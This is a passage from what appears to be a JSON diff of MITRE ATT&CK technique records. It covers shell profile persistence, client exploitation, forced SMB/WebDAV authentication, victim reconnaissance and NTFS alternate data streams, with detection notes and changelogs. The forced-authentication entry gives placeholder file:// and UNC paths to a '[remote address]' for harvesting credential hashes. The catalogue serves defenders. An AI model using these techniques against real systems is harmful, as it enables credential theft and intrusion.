"ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.", + "url": "https://wiki.archlinux.org/index.php/Bash#Invocation" + }, + { + "source_name": "ScriptingOSX zsh", + "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.", + "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/" + }, + { + "source_name": "bencane blog bashrc", + "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.", + "url": "https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/" + }, + { + "source_name": "macOS MS office sandbox escape", + "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.", + "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a" + }, + { + "source_name": "Magento", + "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.", + "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html" + }, + { + "source_name": "Tsunami", + "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.", + "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + }, + { + "source_name": "PersistentJXA_leopitt", + "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5" + }, + { + "source_name": "code_persistence_zsh", + "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.", + "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js" + }, + { + "source_name": "ESF_filemonitor", + "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", + "url": "https://objective-see.com/blog/blog_0x48.html" + }, + { + "source_name": "intezer-kaiji-malware", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Robert Wilson", + "Tony Lambert, Red Canary" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 15:02:24.143000+00:00\", \"old_value\": \"2021-08-20 18:01:52.120000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.\", \"old_value\": \"Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.\", \"new_path\": \"root['external_references'][5]['description']\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/\", \"old_value\": \"https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/\", \"new_path\": \"root['external_references'][5]['url']\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-15 16:34:23.908000+00:00", + "name": "Exploitation for Client Execution", + "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1203", + "external_id": "T1203" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Modification", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_remote_support": false, + "x_mitre_system_requirements": [ + "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise." + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:34:23.908000+00:00\", \"old_value\": \"2022-04-18 18:48:06.141000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][1]\": \"File: File Modification\", \"root['x_mitre_data_sources'][3]\": \"Network Traffic: Network Traffic Flow\"}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection" + ], + "new": [ + "M1051: Update Software" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [ + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2024-10-15 16:33:34.508000+00:00", + "name": "Forced Authentication", + "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1187", + "external_id": "T1187" + }, + { + "source_name": "Cylance Redirect to SMB", + "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf" + }, + { + "source_name": "GitHub Hashjacking", + "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.", + "url": "https://github.com/hob0/hashjacking" + }, + { + "source_name": "Microsoft Managing WebDAV Security", + "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.", + "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx" + }, + { + "source_name": "Osanda Stealing NetNTLM Hashes", + "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.", + "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/" + }, + { + "source_name": "Didier Stevens WebDAV Traffic", + "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.", + "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Teodor Cimpoesu", + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_data_sources": [ + "File: File Access", + "Network Traffic: Network Traffic Flow", + "File: File Modification", + "File: File Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:33:34.508000+00:00\", \"old_value\": \"2023-08-14 19:30:45.123000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:54:59.263000+00:00", + "modified": "2024-09-16 16:09:45.794000+00:00", + "name": "Gather Victim Identity Information", + "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589", + "external_id": "T1589" + }, + { + "source_name": "OPM Leak", + "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.", + "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/" + }, + { + "source_name": "Detectify Slack Tokens", + "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.", + "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/" + }, + { + "source_name": "GitHub truffleHog", + "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", + "url": "https://github.com/dxa4481/truffleHog" + }, + { + "source_name": "GrimBlog UsernameEnum", + "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.", + "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/" + }, + { + "source_name": "Register Uber", + "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/" + }, + { + "source_name": "GitHub Gitrob", + "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", + "url": "https://github.com/michenriksen/gitrob" + }, + { + "source_name": "CNET Leaks", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/" + }, + { + "source_name": "Obsidian SSPR Abuse 2023", + "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.", + "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/" + }, + { + "source_name": "Forbes GitHub Creds", + "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196" + }, + { + "source_name": "Register Deloitte", + "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Obsidian Security" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:09:45.794000+00:00\", \"old_value\": \"2024-04-19 04:27:00.005000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.\", \"old_value\": \"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/\", \"old_value\": \"https://www.opm.gov/cybersecurity/cybersecurity-incidents/\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:57:15.906000+00:00", + "modified": "2024-09-16 16:09:45.795000+00:00", + "name": "Employee Names", + "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589/003", + "external_id": "T1589.003" + }, + { + "source_name": "OPM Leak", + "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.", + "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:09:45.795000+00:00\", \"old_value\": \"2021-04-15 03:27:49.437000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.\", \"old_value\": \"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/\", \"old_value\": \"https://www.opm.gov/cybersecurity/cybersecurity-incidents/\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:33:00.009000+00:00", + "modified": "2024-09-12 15:27:29.615000+00:00", + "name": "NTFS File Attributes", + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/004", + "external_id": "T1564.004" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "SpectorOps Host-Based Jul 2017", + "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", + "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea" + }, + { + "source_name": "Journey into IR ZeroAccess NTFS EA", + "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", + "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html" + }, + { + "source_name": "Microsoft NTFS File Attributes Aug 2010", + "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "source_name": "Microsoft File Streams", + "description": "Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams" + }, + { + "source_name": "Oddvar Moe ADS2 Apr 2018", + "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/" + }, + { + "source_name": "Oddvar Moe ADS1 Jan 2018", + "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/" + }, + { + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe", + "Red Canary" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation", + "File: File Metadata", + "Process: OS API Execution" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream 